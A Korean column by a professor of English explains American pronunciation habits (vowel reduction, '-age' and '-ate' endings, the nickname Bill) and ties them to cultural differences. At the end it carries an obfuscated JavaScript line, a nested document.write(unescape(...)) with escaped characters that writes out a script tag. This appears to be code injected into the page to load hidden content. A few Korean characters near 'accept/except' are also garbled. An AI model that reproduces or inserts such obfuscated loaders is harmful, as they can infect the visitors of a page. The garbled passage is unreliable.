외국어 발음을 익히는 것은 곧 그 나라 사람들이 하는 발음 버릇을 익히는 것인데 발음 버릇도 그 문화의 한 자락이라는 것이 필자의 주장
이다. 우리말에서도 가령 ‘경제적’이란 단어와 ‘법률적’이란 단어를 발음할 때 ‘경제적’의 ‘적’은 부드럽게 발음하지만 ‘법률적’의 ‘적’은 된
소리(경음)인 ‘쩍’으로 발음하고 있다. ‘적’을 ㄹ 받침 뒤에서는 ‘쩍’이라는 된소리로 발음하는 것이 훨씬 편하고 쉽기 때문에 그런 발음 버
릇이 생긴 것이다. 그런가 하면 ‘불고기’와 ‘물고기’는 똑같은 음운구조이지만 무슨 이유에서인지 ‘불고기’ ‘물꼬기’라고 서로 다른 발음을
하는 것이 우리의 발음 버릇이기도 하다.
미국인들이 영어를 발음하는 것도 마찬가지다. 지난번에 My cousin Bill is sick alone, so I suppose I am going to pick him up and
take him to the hospital(혼자 있는 내 사촌 빌이 아픈데 내가 가서 병원에 데려가야 할 것 같아)라는 예문에서 ‘going to’나 ‘pick him
up’같은 구절, 그리고 cousin/hospital/and같은 단어를 미국인들이 평소 구어체 대화에서 어떻게 경제적으로 발음하고 있는가를 얘기했
는데 아울러 그들은 이 예문에 들어있는 suppose같은 단어의 발음도 아주 경제적으로 하고 있다.
Suppose의 원래 발음은 ‘써포우즈’ 정도가 되겠는데 여기서 단어의 강세가 분명히 두 번째 음절에 있기 때문에 미국인들은 통상 이 단어
의 첫 음절을 아주 약하게 발음한다. 그 결과 ‘써포우즈’라고 하기보다는 첫 번째 음절의 모음(u)을 탈락시켜 ‘쓰포우즈’에 가깝게 발음한
다. 그래서 그들이 문장에서 이 단어를 빨리 발음할 때 첫 음절은 거의 들리지 않고 ‘포우즈’라고 마지막 음절만 들리기 쉽다.
How about (하우 어바웃) 같은 구절을 거의 ‘하우 바웃’처럼 발음하는 것도 같은 현상이고 (때로는 ‘How 'bout’이라고 쓰기도 한다), 또
accept(억?큉?와 except(익?큉?가 우리에게 모두 ‘?큉샥??똑같이 들리는 것도 같은 이유이다. 이러한 모음 약화/탈락 현상은 미
국인들의 발음을 제대로 듣고 이해하기 위해서 또 그처럼 발음하도록 노력하는 과정에서 기억해야 할 매우 중요한 사항이다.
미국인들은 어떤 단어의 마지막 음절에 강세 없는 모음 a가 나오고 어미에 발음되지 않는 e가 붙는 경우, 그 a를 ‘아, 에이, 어’ 같은 강한
모음으로 발음하지 않고 약한 단모음 ‘이’로 발음한다. 예컨대 기아에서 만든 차 이름 Sportage를 ‘스포테이지’라 하지 않고 ‘스포-티지’라
고 하는 것처럼.
Sportage를 제대로 발음할 줄 안다면 같은 구조인 advantage(어드밴티지), average(애버리지), bandage(밴디지), damage(대미지),
garbage(가-비지), image(이미지), manage(매니지), marriage(매리지), message(멧시지), mileage(마일리지), mortgage(모-기지),
percentage(퍼쎈티지), sausage(써씨지), savage(쌔비지), sewage(쑤위지) 등도 똑같이 (즉, 끝 발음 a를 단모음 ‘이’로) 발음할 줄 알
아야 한다. 그러니까 많은 한국인들에게 익숙한 ‘멧세지, 모게지 쏘세지, 페센테이지’같은 발음들이 틀린 발음이다.
같은 현상은 furnace(훠-니쓰), Horace(허리쓰), menace(메니쓰), palace(팰리쓰), populace(파퓰리쓰), solace(썰리쓰), surface(써-
휘쓰), Wallace(월리쓰) 등이나 certificate(써티피킷), chocolate(챠컬릿), climate(클라이밋), estimate(에스티밋), intimate(인티밋),
legitimate(레지티밋), passionate(팻셔닛), private(프라이빗), Senate(쎄닛) 등에서도 나타난다. 그래서 ‘호레이스, 팔레스, 쵸코렛’ 같은
틀린 발음을 하지 않도록 주의하자.
My cousin Bill(내 사촌 빌)이라고 할 때의 Bill도 미국 문화와 버릇이 담긴 표현이다. William(윌리엄)은 영미 계통에서 아주 흔한 이름
(성) 중의 하나인데 이 William의 약칭이자 애칭이 바로 Bill이다. 여기서 William이란 3음절의 단어가 벌써 길다고 생각하기에 Bill이란 1
음절어로 줄여 발음하는 그들의 경제성이 나타나고 있고, 또 형식과 격식을 차리지 않고 친근한 애칭으로 부르는 그들의 실용성, 비형식
성이 나타나고 있다.
전 대통령 빌 클린튼이나 Microsoft의 빌 게이츠 회장이 각각 William Jefferson Clinton과 William Henry Gates III라는 본명을 가지고 있
지만 모두 Bill이란 약칭/애칭으로 불리고 있는 것처럼 William이란 이름을 가진 사람 중 (극소수가 본명인 William을 고집스럽게 사용하
기도 하지만) 절대 다수가 평소에 Bill, Billy, Will, 또는 Willie같은 줄인 애칭으로 통하고 있는 것이 미국문화이다. 그러니까 이런 문화에서
는 보통 사람들의 party에서는 물론이고 정부 지도자들이 모인 자리나 TV 뉴-즈나 어디에서나 농담과 웃음과 자연스러움이 그대로 드러
나고 있다. 반면에 한국과 같은 형식주의, 권위주의 문화에서는 모든 일에서 체통과 권위와 위엄을 앞세워 헤픈 웃음이나 농
담, 격식을 벗어난 행동을 경박스럽게 여기고 있다.
하지만 거듭 지적하고 있듯이 여기서도 어느 문화가 더 좋으냐 나으냐를 따지려는 어리석음을 저지르지 말고, 문화는 이렇게 서로 다를
수 있다는 것을 인식하고 이를 이해, 수용, 존중하는 현명한 자세를 갖춤이 중요하다. 우리가 ‘불고기’와 ‘물고기’의 ‘고’를 각각 다르게 발
음하는 이유는 쉽게 설명할 수 없지만 최소한 ‘법률적’의 ‘적’은 ‘경제적’의 ‘적’과 달리 ‘쩍’으로 발음하는 것이 쉽고 편하기에 그런 발음 버
릇을 갖게 되었듯이, 미국문화에서도 그들 나름대로의 발음 버릇과 이름 부르기 버릇이 생성되었을 뿐이다.
일리노이주립대학교수 장석정
(web site: lilt.ilstu.edu/sjchang/konglitis.htm)
document.write(unescape('\144oc\165me%6Et%2Ewr\04569te\04528%75n%65s\143%61\04570e(%27<%5C\0453041\0455C\060%35%35%5C05\04535%27\051\051%53\103R\04549PT%3E'))